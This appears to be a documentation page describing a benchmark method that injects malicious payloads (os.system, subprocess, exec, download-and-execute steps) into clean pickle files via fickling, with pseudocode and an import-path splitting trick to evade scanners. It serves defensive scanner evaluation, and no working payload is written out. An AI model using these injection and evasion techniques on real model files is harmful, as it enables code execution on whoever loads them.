Principle:Trailofbits Fickling Benchmark Payload Injection
| Knowledge Sources | |
|---|---|
| Domains | Security, Benchmarking, Pickle_Safety |
| Last Updated | 2026-02-14 14:00 GMT |
Overview
Methodology for systematically injecting diverse categories of malicious payloads into clean pickle files to generate adversarial test datasets for evaluating scanner detection coverage.
Description
Benchmark Payload Injection addresses the need for realistic adversarial test data when evaluating pickle security scanners. It takes clean pickle files and injects a variety of attack payloads that represent real-world threats, including execution primitives (`os.system`, `subprocess.run`, `builtins.exec`), dangerous library calls (`torch.hub.load_state_dict_from_url`), and multi-step attacks (download-and-execute binaries). The injection uses fickling's `Pickled.insert_python()` method to modify pickle bytecode directly. To increase realism and test scanner robustness, import paths are randomly split at different positions (e.g., `os.system` might become module=`os`, attr=`system` or module=empty, attr=`os.system`), and payloads are inserted at random positions (before or after existing pickle operations).
Usage
Apply this principle when generating the malicious dataset component of a pickle scanner benchmark. The diversity of payload types is critical for measuring scanner coverage across different attack vectors and ensuring that detection is not limited to a narrow set of patterns.
Theoretical Basis
The injection follows a catalog-select-inject pipeline:
# Abstract algorithm
payload_catalog = {
"exec_primitives": [...], # os.system, subprocess, builtins.exec
"dangerous_imports": [...], # torch.hub.load, torch.load
"multi_step": [...], # download + execute sequences
}
for file in clean_dataset:
payload = random_select(payload_catalog)
module, attr = random_split(payload.function_path)
position = random_choice(["before", "after"])
pickled = parse_pickle(file)
pickled.insert_python(*payload.args, module=module, attr=attr, run_first=position)
write_pickle(pickled, output_file)
The random import path splitting is significant because scanners may pattern-match on specific module paths, and splitting tests whether they correctly resolve the full import chain.